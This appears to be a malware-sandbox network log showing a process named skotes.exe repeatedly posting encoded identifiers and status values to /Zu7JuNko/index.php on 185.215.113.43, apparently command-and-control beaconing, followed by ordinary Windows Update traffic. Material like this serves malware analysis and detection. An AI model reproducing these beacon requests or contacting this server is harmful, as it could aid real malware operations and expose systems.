Nov 19, 2024 22:10:51.144711018 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 19, 2024 22:10:51.355490923 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:10:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.4	50412	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:10:53.178955078 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 22:10:53.384809017 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:10:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.4	50413	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:10:55.111762047 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 19, 2024 22:10:55.323654890 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:10:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.4	50415	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:10:57.147034883 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 22:10:57.354954004 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:10:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.4	50416	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:10:59.086348057 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 19, 2024 22:10:59.296891928 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:10:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.4	50417	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:11:01.128892899 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 22:11:01.336642027 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:11:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.4	50418	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:11:03.063608885 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 19, 2024 22:11:03.280000925 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:11:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.4	50419	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:11:05.115616083 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 22:11:05.333925009 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:11:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.4	50421	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:11:07.068665028 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 19, 2024 22:11:07.287275076 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:11:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.4	50422	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:11:09.114180088 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 22:11:09.324266911 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:11:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.4	50424	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:11:11.043716908 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 19, 2024 22:11:11.262451887 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:11:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	50425	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:11:13.099158049 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 22:11:13.306200981 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:11:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.4	50426	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:11:16.746814013 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 19, 2024 22:11:16.960736036 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:11:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.4	50427	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:11:18.792169094 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 22:11:19.001652002 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:11:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.4	50437	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:11:20.719712973 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 19, 2024 22:11:20.932190895 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:11:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.4	50438	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:11:22.772334099 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 22:11:22.979626894 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:11:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.4	50439	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:11:24.703016043 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 19, 2024 22:11:24.914676905 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:11:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	50441	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:11:26.757680893 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 22:11:26.967523098 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:11:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.4	50442	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:11:28.688631058 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 19, 2024 22:11:28.903538942 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:11:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.4	50443	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:11:30.738749981 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 22:11:30.946109056 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:11:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:06:16 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=U5WT9HNn2XvfOML&MD=vwHZW2AF HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-19 21:06:16 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: e33496e3-521e-4624-86d6-e276c5e7d8f1 MS-RequestId: f6a038f8-cb2e-411a-b697-d0e7fec1b5c3 MS-CV: oESVJ2+OHUumQ9bf.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 19 Nov 2024 21:06:16 GMT Connection: close Content-Length: 24490
2024-11-19 21:06:16 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-19 21:06:16 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49736	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:06:53 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=U5WT9HNn2XvfOML&MD=vwHZW2AF HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
